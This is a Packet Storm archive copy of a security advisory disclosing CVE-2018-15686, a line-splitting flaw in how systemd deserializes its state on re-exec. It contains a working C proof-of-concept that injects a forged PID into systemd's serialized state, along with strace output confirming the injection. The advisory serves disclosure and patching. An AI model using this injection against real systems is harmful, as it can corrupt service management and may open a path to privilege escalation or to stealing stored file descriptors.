exploit the possibilities

Linux systemd Line Splitting

Linux systemd Line Splitting
Posted Oct 26, 2018
Authored by Jann Horn, Google Security Research

Linux has an issue with systemd where overlong input to fgets() during reexec state injection can lead to line splitting.

tags | exploit
systems | linux
advisories | CVE-2018-15686
MD5 | 7eee1ef6f7faca88b348b6dac9d6b20c

Linux systemd Line Splitting

Change Mirror Download
systemd: reexec state injection: fgets() on overlong lines leads to line splitting 


[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
<a href="https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports" title="" class="" rel="nofollow">https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports</a>

When systemd re-executes (e.g. during a package upgrade), state is
serialized into a memfd before the execve(), then reloaded after the
execve(). Serialized data is stored as text, with key-value pairs
separated by newlines. Values are escaped to prevent control character

Lines associated with a systemd unit are read in unit_deserialize()
using fgets():

char line[LINE_MAX], *l, *v;
if (!fgets(line, sizeof(line), f)) {
if (feof(f))
return 0;
return -errno;

LINE_MAX is 2048:

/usr/include/bits/posix2_lim.h:#define LINE_MAX _POSIX2_LINE_MAX
/usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048

When fgets() encounters overlong input, it behaves dangerously. If a
line is more than 2047 characters long, fgets() will return the first
2047 characters and leave the read cursor in the middle of the
overlong line. Then, when fgets() is called the next time, it
continues to read data from offset 2047 in the line as if a new line
started there. Therefore, if an attacker can inject an overlong value
into the serialized state somehow, it is possible to inject extra
key-value pairs into the serialized state.

A service that has `NotifyAccess != none` can send a status message to
systemd that will be stored as a property of the service. When systemd
re-executes, this status message is stored under the key
Status messages that are sent to systemd are received by
manager_dispatch_notify_fd(). This function has a receive buffer of

Therefore, a service with `NotifyAccess != none` can trigger this bug.


Create a simple service with NotifyAccess by copying the following
text into /etc/systemd/system/notify_test.service (assuming that your
home directory is /home/user):

Description=jannh test service for systemd notifications



Create a small binary that sends an overlong status when it starts up:

user@ubuntu-18-04-vm:~$ cat test_service.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>

int main(void) {
int sock = socket(AF_UNIX, SOCK_DGRAM, 0);
if (sock == -1) err(1, "socket");
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "/run/systemd/notify"
if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1, "connect");

char message[0x2000] = "STATUS=";
memset(message+7, 'X', 2048-1-12);
strcat(message, "main-pid=13371337");
struct iovec iov = {
.iov_base = message,
.iov_len = strlen(message)
union {
struct cmsghdr cmsghdr;
char buf[CMSG_SPACE(sizeof(struct ucred))];
} control = { .cmsghdr = {
.cmsg_level = SOL_SOCKET,
.cmsg_type = SCM_CREDENTIALS,
.cmsg_len = CMSG_LEN(sizeof(struct ucred))
struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct cmsghdr)));
ucred->pid = getpid();
ucred->uid = getuid();
ucred->gid = getgid();
struct msghdr msghdr = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = &control,
.msg_controllen = sizeof(control)
if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg");

while (1) pause();
user@ubuntu-18-04-vm:~$ gcc -o test_service test_service.c

Install the service, and start it. Then run strace against systemd,
and run:

root@ubuntu-18-04-vm:~# systemctl daemon-reexec
root@ubuntu-18-04-vm:~# systemctl stop notify_test.service

The "stop" command hangs, and you'll see the following in strace:

root@ubuntu-18-04-vm:~# strace -p1 2>&1 | grep 13371337
openat(AT_FDCWD, "/proc/13371337/stat", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
kill(13371337, SIG_0) = -1 ESRCH (No such process)
kill(13371337, SIGTERM) = -1 ESRCH (No such process)

This demonstrates that systemd's representation of the service's PID
was clobbered by the status message.

This can in theory, depending on how the active services are
configured and some other things, also be used to e.g. steal file
descriptors that other services have stored in systemd (visible in
the serialized representation as "fd-store-fd").

This isn't the only place in systemd that uses fgets(); other uses of
fgets() should probably also be audited and potentially replaced with
a safer function.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Found by: jannh


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2019 Packet Storm. All rights reserved.

Security Services
Hosting By